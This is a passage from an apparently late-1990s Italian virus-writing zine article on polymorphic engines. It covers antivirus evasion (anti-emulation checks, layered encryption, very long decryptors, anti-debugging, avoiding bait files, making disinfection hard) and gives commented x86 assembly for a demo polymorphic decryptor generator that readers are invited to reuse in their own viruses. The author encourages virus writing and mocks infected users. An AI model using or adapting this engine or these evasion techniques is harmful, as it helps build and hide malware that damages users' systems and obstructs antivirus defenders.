semplicemente in avanti con un CALL o chiamare una vera e propria subroutine
generata come garbage) e' un'ottima idea, ma attenti a ripristinare lo stack!
Leggere dati in memoria da indirizzi assoluti a caso (es. mov ax,ds:[1010h]) o
da registri (es. mov ax,ds:[di]) e' una buona mossa, ma dovete stare attenti
di non cercare (per puro caso da come e' stato eseguito il decryptor) di
leggere ad esempio dalla posizione FFFFh. Infatti un mov ax,ds:[0FFFFh]
generera' degli effetti indubbiamente non voluti :) Quindi prestate grande
attenzione quando generate il garbage.
Quindi generare istruzioni a caso, cercando cosi' di nascondere il vero
decryptor e nello stesso tempo far sembrare il tutto un "vero" programma.
Come si comportano gli antivirus:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Purtroppo se vi aspettavate che dopo aver scritto una poly engine relativamente
semplice tutti i vostri problemi fossero risolti, beh avrete una grossa
delusione :) Sebbene anche un per quanto banale motore polimorfo possa saltare
l'uso di semplici scan string fisse da parte degli AVs, al giorno d'oggi ci
sono molti modi che gli AVers usano per trovare virus polimorfi. Vediamo uno
per uno i vari modi con relative soluzioni :)
- Scan string variabili:
Beh, questo modo di ricerca e' abbastanza banale e funziona solo con poly
+ banali. In pratica delle scan string variabili (ad esempio, codice
puramente inventato, 10 20 xx 30 xx 30 30 * 10 12 dove con xx si intende
un qualsiasi byte, ad esempio una chiave, e con * un dato numero qualsiasi
di bytes) che sono sicuramente fisse (e magari anche fisse in certe
posizioni). Questo tipo di scan string, che gia' di per se e' inefficente
dato che gli AVs devono usare delle scan string abbastanza lunghe per
evitare falsi positivi, puo' essere semplicemente evitata creando decryptors
che non hanno sequenze prestabilite e creando un gran numero di variazioni,
cosicche' l'unico modo per gli AV per applicare questo metodo alla vostra
poly sarebbe quello di inserire migliaia di scan string, cosa impossibile.
- Crittoanalisi:
In questo caso l'AV potrebbe cercare di trovare una parte conosciuta del
virus crittato e cercare di decrittarla basandosi sulla conoscenza dell'
algoritmo usato. Questo puo' essere semplicemenete evitato creando piu'
livelli di crittazione, quindi creando un encryptor (che usa un dato
algoritmo scelto a caso su un dato tipo di dati scelto a caso, es. xor
su words) che, oltre a crittare il corpo del virus critta anche un secondo
decryptor che usa algoritmo e tipo di dato a caso (es. rol su dword) e
magari a sua volta un terzo e cosi' via. Questo creare piu' livelli di
crittazione (+ layers) e' indubbiamente il modo migliore e' + forte,
volendo si potrebbe anche immettere + istruzioni di crittazione
direttamente in un solo loop. Si puo' anche usare semplicemente un tipo
di crittazione cambiandone spesso la chiave in qualche modo. In questo
modo avendo molti algoritmi applicati su tipi di dati diversi, la
crittoanalisi diventa inutilizzabile (questo modo cmq non e' utilizzato in
pratica dai maggiori antivirus, ma di solito + di antivirus specifici).
- Analisi algoritmica del codice:
Un altro modo per poter scovare un motore polimorfo e l'analisi algoritmica
del codice generato dal motore. Questo funziona esclusivamente basandosi
sulla conoscenza del codice che il motore puo' generare. L'antivirus
analizza nel codice sospetto le istruzioni usate e le confronta con quelle
che la poly dovrebbe poter generare. Se viene riscontrata un'istruzione
che la poly non dovrebbe poter generare, allora probabilmente il codice
sospetto non e' generato dalla poly. In caso compaiano solo istruzioni che
quella poly genera, allora la possibilita' che sia codice generato dal
motore polimorfo sono maggiori. A questo tipo di ricerca vengono aggiunti
ancora dei check aggiuntivi (tipo la tipica lunghezza dei decryptor generati
con quel motore o alcuni pezzettini stabili nel decryptor) o abbinati a
scansioni del primo o del secondo tipo per poter cosi' affermare con
una certa credibilita' la presenza di un dato motore polimorfo. Per saltare
questo tipo di analisi e' necessario generare molti tipi di garbage (cosi'
non avrebbe molto senso cercare le istruzioni mancanti, dato che non ne
sarebbero molte e probabilmente quelle mancherebbero anche in un prog
normale) e creare decryptor molto vari in tipo e in lunghezza.
- Emulazione
Mentre i tre tipi di scansione bene o male possono essere saltati anche
da una mediocre poly engine, il vero problema e' l'emulazione degli AV.
I migliori antivirus al giorno d'oggi infatti per cercare virus polimorfi
conosciuti ma anche virus (polimorfi e non) sconosciuti, si affidano all'
emulazione del codice da controllare. Il codice del programma sospetto
viene eseguito istruzione per istruzione in una specie di virtual machine
isolata dell'antivirus. In questo modo il decryptor (o cmq un qualunque
pezzo di codice) viene eseguito solo sotto sicurezza e qui l'antivirus puo'
poi analizzarne gli effetti e alla fin fine eseguire tutto il decryptor
ed ottenere cosi' la copia decrittata del virus. A questo punto, eseguito
il decryptor, l'antivirus puo' usare il vecchio metodo di ricerca di scan
strings sul corpo decrittato. E' chiaro che, essendo l'emulazione fatta
tutta via software in una "macchina" isolata, dipende dalla persona che
l'ha scritta quanto e che istruzioni emulera'. In generale quasi tutte le
istruzioni su/tra registri, immediati e cose del genere vengono emulati e
i risultati tenuti da parte. Vengono emulati anche i risultati di alcune
chiamate a interrupts, le letture dalla memoria di solito sono
semplicemente ignorate se sono lontano dall'attuale posizione del IP
mentre vengono registrate se sembrano nei pressi del punto di esecuzione,
mentre vengono registrate tutte le scritture o cmq operazioni che cambiano
(potrebbe essere decrittano) la memoria. E' ovvio pero' che non tutti gli
emulatori possano emulare qualsiasi cosa del sistema, dato che questo
comporterebbe problemi e costi in termini di tempo troppo grossi. Quindi
per poter saltare il problema dell'emulazione bisogna usare dei costrutti
che fanno uso di cose note del sistema, che pero' si suppone l'emulatore
non sia in grado di emulare. Un esempio x rendere meglio l'idea:
mov ah,30h ; richiedi dos version
int 21h
cmp al,03h
jae oke ; salta se >= 3
mov ah,4ch ; allora usciamo
int 21h
oke:
.
.
In questo caso (banale) generiamo una richiesta della versione del DOS.
In caso questa sia < di 3, allora e' molto probabile che siamo in un
emulatore, dato che e' praticamente impossibile che qualcuno al giorno
ne abbia una :) In caso sia >=3 continueremo con il nostro decryptor,
se no potremmo simulare un'uscita dal programma (ah=4ch con int 21h).
Cosi' l'emulatore incontrando l'uscita pensera' ad un uscita normale del
programma. Questo e' solo un esempio abbastanza banale e' gia' usato in +
casi, quindi probabilmente almeno certi emulatori non ci cascheranno. Cmq
spero di aver reso l'idea, analizzatevi un po' di chiamate a interrupts
o cmq cose del sistema che siete sicuri esistano (altro esempio, al
PSP:0 c'e' sempre una chiamata all'int 20h, quindi CD20h) o cose che
potrebbero far sembrare di essere emulati (scrivete in un posto random,
senza fare danni, e rileggete lo stesso byte e vedete se e' stato
effetivamente scritto). Chiaramente dovete stare anche MOLTO attenti a
non generare pezzi di anti-emulator troppo lunghi e fissi! Se infatti
create delle strutture anti-emulator troppo complicate e' pericoloso che
appunto queste vengano utilizzate come scan string! Quindi attenzione.
Oltre alle strutture anti-emulator bisogna notare che ovviamente gli
emulatori ad un certo punto si fermano. Sicuramente non emuleranno codice
all'infinito e fino ad un punto di sicura uscita, dato che questo potrebbe
significare perdere tempo enorme. Quindi un altro modo molto buono per
sfuggire agli antiemulator (nonche' agli altri metodi in genere) e' quello
di generare decryptor molto lunghi. Quando dico molto lunghi, intendo anche
fino a 15kb. Potrebbe sembrare assurdo, ma non lo e' :) Al giorno d'oggi,
con le macchine che la persona-tipo (il lamer tipo che si prendera' il virus
insomma :) ) eseguire qualche migliaio di istruzioni non fa perdere molto
tempo, dato che non facciamo operazioni che necessitano accesso a dischi
o cose del genere, che invece farebbero perdere tempo. Per un utente medio
aumentare il tempo di carica di un programma di anche di 2-3 secondi non
rappresenta un problema. Mentre per un antivirus si, dato che, di solito,
l'emulazione non va piu' in la di 3-4kb negli antivirus + usati. E' chiaro
che per poter fare decryptor molto lunghi e' anche necessario disporre di
un generatore di codice garbage molto buono, se no ci ritroveremo con
centinaia di istruzioni quasi uguali in sequenza e questo insospettira' ogni
AV decente. Beh, queste sono solo alcune buone idee da mettere in pratica,
di modi poi ce ne sono anche altri, basta avere un po' di fantasia ;)
- Esecuzione passo-passo
Un altro modo che ormai pochissimi antivirus generici usano, ma che puo'
essere usato da un antivirus specifico (o da una persona in carne ed ossa)
e' quello di eseguire il virus passo-passo sulla macchina. Spero sia chiaro
che qui non si parla di eseguire il codice in una macchina virtuale a parte,
ma di eseguire -veramente- il codice passo-passo, di solito usando la solita
tecnica con l'int 01h. Beh, per fregare questi si puo' mettere nel codice
generato qualche solito trucchetto + o - complesso di antidebugging (cambio
di istruzioni che sono gia' state prefetchate, sputtanamento dei vettori
dell'int 1h...)
Beh, questi sono un po' i metodi usati attualmente e nel passato vicino.
Indubbiamente, come gia' detto, la parte piu' pericolosa e alla quale dobbiamo
prestare maggiore attenzione e' l'emulazione del codice da parte dell'antivirus.
Infatti oltre a poter trovare virus non ancora esattamente riconosciuti, un
buon emulatore puo' anche decrittare il virus e quindi avere la possiblita'
di disinfettare il file infetto. Questo NON deve succedere :) Per questo e'
importante creare apposite strutture antiemulator e creare lunghissimi
decryptors. Un motore polimorfo (o meglio un motore polimorfo che puo' essere
propriamente chiamato cosi' :) ) in genere occupa circa 1-4kb di codice, che
sono rispettivamente + o - il 30-80% della lunghezza dell'intero virus. Quindi
non sprecate tutto quello spazio per nulla! :P
Anche se l'antivirus un giorno dovesse essere in grado di trovare il vostro
motore polimorfo, per un motivo o per l'altro (magari anche xche' hanno messo
un algoritmo del cacchio per trovarlo che poi non trova neanche tutte le
possibili generazioni), fate almeno in modo che sia estremamente difficile la
disinfezione. Crittate anche in + modi i dati originali del file infetto che
avete salvato, o in qualche parte strana, fate un po' voi. Credo sia veramente
molto divertente sapere che qualche utente scassa le palle agli AV xche' il
suo antivirus individua il virus ma non puo' togliere, quindi o cancella tutto
o ci convive, hehehe :))
Consigli e cose alle quali prestare attenzione:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Piu' o meno adesso credo che l'idea del funzionamento e almeno una mezza idea
di come scrivere un motore polimorfo dovreste averla. Date un'occhiata al
piccolo motore polimorfo di esempio per qualcosa di piu' pratico.
Prima di lasciarvi vorrei ancora aggiungere un po' di cose alle quali stare
attenti quando vi inoltrerete nella scrittura di una poly:
- Prefetch. Attenti al prefetch del processore sia quando generate il
decryptor che quando generate l'encryptor interno al vostro codice. Sui
processori + recenti purtroppo non e' + tanto banale annullare il prefetch
(di solito si usava un jmp anche con salto lungo 0 e la prefetch queue
veniva annullata) quindi nell'encryptor attenti a non cambiarvi le istruzioni
mettete sotto il naso, mentre nel decryptor attenti soprattutto a non
mettere troppo vicini l'uscita del decryptor (il cmp finale insomma) con
la parte che state decrittando. Molti nello scrivere un decryption loop
hanno l'idea (che in teoria non e' poi neanche malvagia) di crittare appunto
anche una parte del loop, ma c'e' il rischio di cadere in grossi prob con
il processore. Semmai nei punti rischiosi abbondate con il garbage :)
- Segmenti usati. Oltre ovviamente a dover essere sicuri che i segmenti da
voi usati puntino effetivamente dove voi volete (e quindi semmai dovrete
inizializzarli nella prima fase), dovete stare attenti a cosa fate quando
non forzate implicitamente il segmento. Infatti le operazioni con tutti
i puntatori si riferiscono a DS tranne per BP che invece si riferisce allo
stack segment, quindi SS! Quindi mentre
xor [di],1010h ; 81 35 10 10
xor ds:[di],1010h ; 3E 81 35 10 10
hanno cmq lo stesso effetto, questo non vale per
xor [bp],1010h ; 81 76 00 10 10
xor ds:[bp],1010h ; 3E 81 76 00 10 10
dato che il BP lavora sempre con SS per default. Quindi attenzione quando
non forzate il segmento. Dall'esempio poi si nota un'altra cosa: le opcodes
per BP sono tutte un po' particolari e quando questo viene usato come
puntatore il codice generato e' + lungo e contiene un byte 00 prima del
operando. Ma di questo magari ve ne sareste cmq accorti dopo aver porconato
a lungo sul xche' il codice non funziona :) Ma e' solo x BP, quindi ormai
siete preparati a qualsiasi cosa...
- Generazione sequenze random. Per gran parte delle decisioni in un motore
polimorfo dovrete affidarvi a un qualche modo per generare sequenze di
numeri casuali. Indubbiamente il + banale e' proprio quello di prendere il
numero del timer (in al,40h), ma questo e' solo un numero che sembra
casuale. Un generatore di numeri casuali balordo dara' minore mutabilita'
alla vostra poly e ne rendera' l'analisi + facile. Quindi spendete magari
un po' di codice in + e prendetevi un buono (o almeno mediocre :) )
generatore di numeri casuali.
- Ottimizzazione del codice. Benche' indubbiamente un codice chiaro e
ottimizzato fino all'ultimo byte sia segno di un buon coding, quando si
scrive una buona poly l'importante non e' tanto risparmiare una decina
di bytes su 2-3kb, ma farla effettivamente funzionante! Principalmente
ci sono due stili di scrittura di poly (che personalmente reputo ugualmente
validi, quindi li uso un po' come ne ho voglia :) ) dove il primo fa
rigoroso uso di tabelle e tabelline di opcodes, mentre il secondo e' molto
+ ingarbugliato e non fa uso delle tabelle, ma crea codice direttamente al
volo. Dipende un po' dal virus writer quanto poi effetivamente si riesca
a migliorare e a compattare il codice in base all'uso di uno dei due
metodi. Piu' che altro e' fatto di gusti. Quello che e' sicuro e' che un
buon studio e pianificazione del modo di lavorare prima di cominciare a
buttare giu' codice e' -necessario- per fare un buon lavoro (basta farlo
nella vostra testa, non c'e' bisogno di coglionate tipo flowcharts o
relazioni, quelle lasciatele alle amoebe che sicuramente conoscete :) ).
Quando generate codice indubbiamente dovrete anche avere spazio dove
crearlo e cmq un bel po' di variabili temporanee da usare. Ovviamente non
ha senso mettere anche tutto questo poi nel file, ma usatelo solo in memoria
e solo quando ne avete bisogno (quindi magari allocate mem solo quando
necessario se ve ne serve molta).
- Polimorfismo lento. Un altra cosa carina da poter implementare nel vostro
motore e' il polimorfismo lento, ovvero generare i numeri casuali in base
ad un dato che cambia abbastanza lentamente (vedi data o ora). In questo
modo, sebbene i decryptor generati in tempi brevi sembrerebbero pressoche'
uguali, gli AVs nella foga di aggiungere il vostro virus al loro database
potrebbero non notare tutte le cose che la vostra poly effetivamente fa
(infatti non crediate che gli AV si mettano a disassemblare la poly x filo
e per segno, ma in genere generano moltissimi file infetti e da partendo da
quelli poi applicano le varie tecniche citate sopra... beh, certo, se poi
pubblicate il source della poly in una zine questo il discorso perde un po'
il senso :)) ).
- Antibait, ovvero anti-cavia. Nelle routine di infection del vostro virus
prestate attenzione a non infettare files sospetti che potrebbero sembrare
delle cavie fatte apposta per far riprodurre un gran numero di generazioni
del vostro motore polimorfo. Alcuni consigli: non infettate troppi files
in tempi brevissimi, non infettate files che sono divisibili per 512 o 1024,
non infettate files con numeri nel nome (molto improbabile in files normali),
non infettate files creati molto di recente, etc.etc... per parlare di tutto
questo ci vorrebbe semmai un altro articolino :)
Piu' o meno credo che x la parte teorica dovrebbe bastare... ultimo consiglio
che in genere vale x il virusing in generale e non solo x le poly: datevi da
fare e non demoralizzatevi al primo prob! La VX scene necessita anche di nuove
xsone che la ravvivino :)
Bibis,
b0z0/iKX
Codice di esempio:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; <dpoly.asm>
;
; [DPE] - Demo Poly Engine (basata sulla SPWM)
; di b0z0/iKX, Luglio 1998
;
; Questa e' una poly engine molto semplice, scritta per dare ai lettori
; di BFI anche un esempio pratico di scrittura di una poly engine. Il codice
; e' ampiamente commentato, soprattutto tra le varie parti che sono state anche
; piu' profondamente descritte nell'articolo teorico. Ho cercato di mantenere
; almeno certe parti il piu' chiare possibili, ma se ci fossero problemi di
; comprensione o comunque domande/richieste potete sempre contattarmi su IRC
; (#softpj o su uno dei soliti #virus) o in qualche altro modo.
; Essendo questa solo una poly di esempio, e' ovvio che essa manca di
; moltissime cose che una vera poly dovrebbe avere. Ma, ripeto, e' stata
; scritta per introdurre un po' chiunque nel fantastico mondo del
; polimorfismo :)
; Principalmente la DPE crea decryptors abbastanza corti, i registri usati
; come puntatori possono essere BX, SI e DI, mentre come counter e pointer
; puo' essere utilizzato qualsiasi registro tranne l'AX (e lo SP ovviamente).
; La crittazione puo' avvenire usando un SUB, ADD, XOR con chiave fissa o
; con chiave modificata ad ogni ciclo del loop (la modifica avviene con
; un SUB, ADD o XOR con un immediato a 16 bit).
; Le varianti per i costrutti del decryptor sono abbastanza contenute, cmq
; l'ordine di queste e' totalmente random (quando possibile :) ).
; Anche la generazione di garbage e' abbastanza contenuta ed e' principalmente
; creata usando una tabella di riferimento. E' presente anche la generazione
; di un paio di chiamate ad interrupt cosi' potete farvi un'idea.
; Attenzione, la decrittazione in questa poly d'esempio viene sempre fatta
; in rapporto a DS! Quindi se volete usarla in qualcosa di vostro o siete
; sicuri che DS=CS (ad esempio nei COM files) o dovete aggiunge in basso
; una forzatura al segmento CS (cmq mettero' tra i commenti questa cosa)
; o generare codice random che setti DS=CS.
; Semmai generate un po' di files di esempio del motore polimorfo (con il
; programmino incluso) e vedete un po' i risultati :)
;
; Spero che il codice sia abbastanza chiaro per la sua comprensione, dato che
; questo era stato propriamente il suo scopo :) Un miglior esempio di motore
; polimorfo (ma anche molto meno chiaro direi, quindi inanzitutto cercate di
; analizzare bene questo :P) puo' essere trovato nelle poly engines SMPE 0.3
; o RTP 0.1b (possono essere trovate tutte e due in Xine#3).
;
; La DPE viene chaiamata semplicemente setuppando i parametri come descritto
; sotto e chiamandola con un banale 'call poly'.
;
; Parametri di ingresso:
; DS:DI = Puntatore alla zona di memoria dove mettere il risultato
; DS:SI = Puntatore al codice da crittare
; BP = Offset al quale questo codice verra' eseguito
; CX = Numero di bytes da crittare
;
; Uscite fornite:
; DS:DX = Pointer al codice generato
; CX = Lunghezza del codice (decr + codice crittato) generato
;
;
poly:
push di
; Innanzitutto verranno salvati certi registri che ci serviranno piu' tardi
; nel corso della scrittura del decryptor. Adesso vengono anche inizializzate
; alcuni pezzi di codice (pezzo di cambio chiave) e zone di memoria (lista
; delle operazioni gia' eseguite) che vengono cambiate dalla poly engine ad
; ogni esecuzione
mov word ptr ds:[lenght],cx
mov word ptr ds:[given_si],si
xor ax,ax
mov word ptr ds:[change_key],ax
mov word ptr ds:[change_key+2],ax
mov word ptr ds:[change_key+4],ax
dec ax
mov word ptr ds:[already_pnt],ax
mov byte ptr ds:[already_pnt+2],al
mov ax,9090h ; un po' di nops :)
mov word ptr ds:[modify_key],ax
mov word ptr ds:[modify_key+2],ax
mov word ptr ds:[pre_chk],ax
mov word ptr ds:[pre_chk+2],ax
; Nel seguente loop do_pnt_cnt verranno create in sequenza random le sequenze
; di inizializzazione di e precisamente:
; -) inizializzazione counter
; -) inizializzazione pointer su codice da decrittare
; -) inizializzazione chiave (opzionale)
mov cx,03h ; tre operazioni da creare
do_pnt_cnt:
mov si,offset already_pnt
mov bx,si
call sorta_random ; genera numero random
and al,011b
cmp al,011b ; ci interessano solo 3 pox,
je do_pnt_cnt ; quindi da 0 a 2
xor ah,ah
add si,ax
cmp byte ptr ds:[si],0ffh ; abbiamo gia' eseguito questa
jne do_pnt_cnt ; operazione?
push si
shl al,1 ; *2, dato che ogni offset e'
; una word
add ax,offset init_offs ; usa la tabella con gli offset
mov si,ax ; alle tre routines desiderata
mov ax,word ptr ds:[si]
pop si
call ax ; chiama la routine
next_inits:
call random_garbage ; tra l'una e l'altra garbage
loop do_pnt_cnt
; Adesso la parte di inizializzazione dei registri per il loop e' pronta
; Quindi da qui in avanti sara' creato il loop di decrittazione
mov word ptr ds:[decr_begin],di ; segnala inizio loop
call random_garbage
; Nel seguente loop incdec_pntcnt dobbiamo eseguire le 6 operazioni necessarie
; nel decryption loop e piu' precisamente:
; -) Incrementare il pointer alla prossima word (Incrementiamo di uno 2 volte)
; -) Decrementare il counter di due (Decrementiamo di uno 2 volte)
; -) Cambiare la chiave di crittazione (se la chiave e' usata)
; -) Eseguire l'operazione matematica di decrittazione
; Le operazioni vengono svolte in ordine casuale. L'ordine di certe operazioni
; (l'incremento del pointer e il cambio della chiave) pero' influenza certe
; altre (operazione matematica di decrittazione) e percio' dovremo fare
; attenzione proprio a questo in certi casi.
mov cx,06
incdec_pntcnt:
mov si,offset change_key
call sorta_random_07
and al,11b
add si,ax
cmp byte ptr ds:[si],02 ; gia' fatte due di queste?
je incdec_pntcnt
inc byte ptr ds:[si]
push si
shl al,1
add ax,offset loop_offs
mov si,ax
mov ax,word ptr ds:[si]
pop si
call ax
next_loop:
call random_garbage
loop incdec_pntcnt
; Il contenuto del loop di decrittazione e' stato creato. Adesso dobbiamo
; ancora fare il check finale se la decrittazione e' finita e in base al
; risultato uscire dal loop o rientrarci.
; get_cntrchk crea una delle possibili istruzioni che ci permettono di
; controllare se il contatore e' uguale a zero, quindi se la decrittazione
; e' finita
get_cntrchk:
call sorta_random_07 ; cinque tipi in tutto
cmp al,04
ja get_cntrchk
mov si,offset cntr_checks ; sulla tabella delle possibili
add si,ax ; variazioni + offset rnd
mov ah,byte ptr ds:[si]
mov al,083h ; prefisso fisso x quel tipo
; di opcodes
add ah,byte ptr ds:[already_cnt]
stosw ; aggiungiamo i bit in base
; al counter e mettiamo
in al,40h
mov cl,al ; possiamo fare il check
xor al,al ; sia considerando lo 0
ror cl,1 ; come byte o come word
jnc with_byte
sub byte ptr ds:[di-2],02h ; se con word allora cambia
; il byte di prefisso in 81h
stosb
with_byte:
stosb
; Crea il jump zero corto che salta il jump lungo che invece salta al loop
; del decryptor
mov ax,0374h
stosw
; Crea il jump che salta di nuovo all'inizio del loop di decryption
mov al,0e9h ; jump long
stosb
mov ax,di
sub ax,word ptr ds:[decr_begin]
inc ax ; calcola offset all'inizio
inc ax ; del loop di decrittazione
neg ax
stosw
; A questo punto tutto quanto e' pronto. Aggiungeremo ancora un po' di
; istruzioni garbage con tutti i registri per migliorare l'effetto
xor ax,ax
dec ax
mov word ptr ds:[already_pnt],ax
mov word ptr ds:[already_pnt+2],ax
call random_garbage
mov bx,0fh
call garbage ; un po' + di garbage x evitare
call random_garbage ; problemi di prefetch
mov ax,di
sub ax,bp
mov si,word ptr ds:[pointer_ass]
mov word ptr ds:[si],ax ; finiamo l'inizializzazione
; del pointer al codice
; crittato
; Da qui in avanti tutto quello che viene messo su DS:DI sara' crittato,
; infatti il pointer e' appena stato assegnato sopra
push di
call random_garbage ; Anche un po' di garbage
pop ax ; crittata
mov cx,di ; quanti bytes di garbage
sub cx,ax ; crittata
push cx
mov si,word ptr ds:[counter_ass]
mov dx,word ptr ds:[si] ; aggiorniamo il counter
push dx ; anche con la garbage crittata
add dx,cx
inc dx
and dl,0feh ; teniamo sempre pari dato
mov word ptr ds:[si],dx ; che crittiamo words senza
pop cx ; fare troppi check
; DX ha adesso la lunghezza del decryptor + encrypted garbage + encrypted body
mov si,word ptr ds:[given_si]
push di
rep movsb ; copiamo quello che si vuole
pop di ; crittare (ricevuto in input
pop ax ; come DS:SI)
sub di,ax
; E infine ci apprestiamo a crittare il tutto. I primi due test sono fatti
; per vedere se dobbiamo correggere il puntatore o la chiave in base alla
; sequenza nella quale sono state generate le istruzioni nell'encryption
; loop.
; Dopodiche' verra' eseguito il loop di crittazione, dove ovviamente le
; istruzioni attuali verranno rimpiazzate con quelle scelte e generate nel
; corso dell'esecuzione del motore polimorfo.
xor ah,ah
mov al,byte ptr ds:[pnt_sba]
add di,ax
mov cx,word ptr ds:[initial_key]
dec byte ptr ds:[pre_kdn]
jnz encrypt_loop
pre_chk db 90h,90h,90h,90h ; spazio per il cambio chiave
; iniziale
encrypt_loop:
db 31h,0dh ; xor [di],cx
modify_key:
db 90h,90h,90h,90h ; spazio per il cambio chiave
inc di
dec dx
inc di
dec dx
or dx,dx
jnz encrypt_loop
mov cx,di
pop dx
sub cx,dx ; lunghezza totale
ret ; basta, si torna a casa :)
; tabella con possibili istruzioni per la crittazioni (ADD,XOR,SUB) e relativa
; istruzione per la decrittazione (SUB,XOR,ADD)
mathadds db 01h,29h
db 31h,31h
db 29h,01h
; Possibili modi per controllare che il contatore sia 0 (cmp,xor,or,sub,add)
cntr_checks db 0c0h,0c8h,0e8h,0f0h,0f8h
; Tabella con gli offset per le tre operazioni di inizializzazione pre-loop
init_offs dw offset do_pointer
dw offset do_counter
dw offset do_setkey
; Tabella con gli offset per le operazioni del loop
loop_offs dw offset do_changekey
dw offset dec_cnt
dw offset inc_pnt
dw do_mathop
poly_marker_ver db 0,'-[DPE]-',0
; do_pointer crea l'istruzione per l'inizializzazione del puntatore al
; codice crittato
do_pointer:
call sorta_random_07
cmp al,byte ptr ds:[bx+2] ; non lo stesso usato x la key
je do_pointer
cmp al,byte ptr ds:[bx+1] ; non lo stesso usato x il cntr
je do_pointer
cmp al,03 ; BX potrebbe essere ok
je ok_selected
cmp al,6 ; non SP e BP, ma solo >, cioe'
jb do_pointer ; SI e DI
ok_selected:
mov byte ptr ds:[si],al ; Salva registro usato +
add al,0b8h ; base di MOV reg16,imm
stosb
mov word ptr ds:[bx-8],di ; salviamo la posizione dell'
stosw ; assegnazione del pointer
; per aggiornarlo dopo
ret
; do_counter crea l'inizializzazione del registro che fungera' da counter
do_counter:
call sorta_random_07
cmp al,04h ; no SP
je do_counter
or al,al ; Non usare AX
jz do_counter
cmp al,byte ptr ds:[bx] ; Non usare lo stesso del pntr
je do_counter
cmp al,byte ptr ds:[bx+2] ; Non usare lo stesso della key
je do_counter
mov byte ptr ds:[si],al ; Salva registro usato +
add al,0b8h ; base di un MOV reg16,imm
stosb
not_zeromore:
call sorta_random_07 ; Critteremo un po' di piu'
or al,al ; del dovuto per dare maggior
jz not_zeromore ; variazione ai risultati
add ax,word ptr ds:[bx-0ah]
mov word ptr ds:[bx-2],di ; salva posizione di assegn.
stosw ; salva lunghezza
mov word ptr ds:[bx-0ah],ax
ret
; do_setkey crea l'inizializzazione del valore della chiave per la
; decrittazione
do_setkey:
call sorta_random ; 50% delle probabilita' che
ror al,1 ; si usi la chiave, 50% che
jc do_with_key ; sia fatto con chiave fissa
mov byte ptr ds:[si],0b0h ; marker chiave fissa
ret ; quindi niente init chiave
do_with_key:
call sorta_random_07 ; Scegli registro come al
cmp al,04 ; solito
je do_setkey
or al,al
jz do_with_key
cmp al,byte ptr ds:[bx]
je do_setkey
cmp al,byte ptr ds:[bx+1]
je do_setkey
mov byte ptr ds:[bx+2],al
add al,0b8h
stosb
call sorta_random
stosw
mov word ptr ds:[bx-6],ax
ret
; do_mathop crea l'istruzione matematica per la decrittazione e prepara la
; relativa istruzione per la crittazione nell'encryption loop
do_mathop:
push cx
inc byte ptr ds:[si]
resel_mate:
call sorta_random_07
cmp al,02
ja resel_mate
; per forzare l'uso di CS: (quindi decrittare con il pointer in base al
; segmento CS e non DS) basta aggiungere:
; mov al,02eh ; prefisso CS:
; stosb ; mettilo al suo posto :)
shl ax,1
mov bx,offset mathadds
add bx,ax
mov dx,word ptr ds:[bx] ; operazione di crittazione
; e relativa inversa
cmp byte ptr ds:[already_key],0b0h ; marker che l'oper.
jne so_use_key ; matematica usa chiave fissa
mov al,081h ; crea decrittazione con
stosb ; chiave fissa
add dx,0003h
mov al,dl
jmp register_corr
so_use_key:
mov al,dl
stosb
mov al,byte ptr ds:[already_key]
dec al ; registro di destinazione
mov cl,3 ; moltiplica per 8
shl al,cl
add al,0ch ; aggiungi base per si,cx
register_corr:
mov ah,byte ptr ds:[already_pnt]
cmp ah,06 ; usato si?
jz store_it
inc al
cmp ah,07h ; di?
je store_it
inc al ; allora bx
inc al
store_it:
stosb
cmp byte ptr ds:[already_key],0b0h
jne so_nothingelse
call sorta_random ; se a chiave fissa metti
stosw ; anche la chiave fissa
mov word ptr ds:[initial_key],ax
so_nothingelse:
mov byte ptr ds:[encrypt_loop],dh
pop cx
ret
; do_changekey scrive l'operazione di cambio della chiave. Questa e' un
; ADD/SUB/XOR della chiave con un immediato di 16bit.
; Se prima non e' stato scelto l'utilizzo di una chiave questa procedura
; esce senza fare nulla.
do_changekey:
inc byte ptr ds:[si]
cmp byte ptr ds:[already_key],0b0h
jne get_keyop
ret
get_keyop:
call sorta_random_07
cmp al,02
ja get_keyop
mov dh,0c1h ; add
or al,al
jz ok_operoc
add dh,28h ; sub
cmp al,1
je ok_operoc
add dh,8 ; xor
ok_operoc:
cmp byte ptr ds:[math_opdone],00h
jne no_prez
inc byte ptr ds:[pre_kdn]
no_prez:
mov al,81h
mov ah,dh
mov word ptr ds:[modify_key],ax
dec ah
add ah,byte ptr ds:[already_key]
stosw
and ah,011111000b ; Nell'encryptor e'
or ah,000000001b ; tutto con CX
mov word ptr ds:[pre_chk],ax
call sorta_random
stosw
mov word ptr ds:[modify_key+2],ax
mov word ptr ds:[pre_chk+2],ax
no_changekey:
ret
; inc_pnt crea l'istruzione per incrementare di uno il pointer
; dec_cnt crea l'istruzione per decrementare di uno il counter
inc_pnt:
mov al,byte ptr ds:[already_pnt]
add al,40h
cmp byte ptr ds:[math_opdone],00h
jne no_prob
inc byte ptr ds:[pnt_sba]
no_prob:
jmp common_exit
dec_cnt:
mov al,byte ptr ds:[already_cnt]
add al,48h
common_exit:
stosb
ret
sorta_random:
in al,40h ; routine di generazione
mov ah,al ; numeri casuali... neanche
in al,40h ; tanto :)
xor al,ah
ret
sorta_random_07:
call sorta_random ; numeri casuali da 0-7, usato
and ax,0111b ; spesso x scelta registri
ret
; random_garbage crea un numero random da 1-8 di istruzioni garbage
random_garbage:
call sorta_random_07
mov bx,ax
inc bx ; almeno una
; garbage crea BX istruzioni fasulle
garbage:
push si
mov si,offset already_pnt
select_garb_reg:
call sorta_random_07 ; scelta registro
cmp al,byte ptr ds:[si] ; non quelli usati ovviamente
je select_garb_reg
cmp al,byte ptr ds:[si+1]
je select_garb_reg
cmp al,byte ptr ds:[si+2]
je select_garb_reg
cmp al,4
je select_garb_reg ; neanche sp
mov dl,al ; DL contiene il registro
get_type:
call sorta_random ; scegli tipo di garbage
and ax,01fh
cmp al,31d ; operazioni senza registri
je just_onebyters ; o chiamate a interrupt
push ax
mov si,offset base_prefix ; vedi se istruzione e'
add si,ax ; formata da due bytes
mov al,byte ptr ds:[si]
or al,al
jz no_prefix
stosb ; se cosi' metti byte di
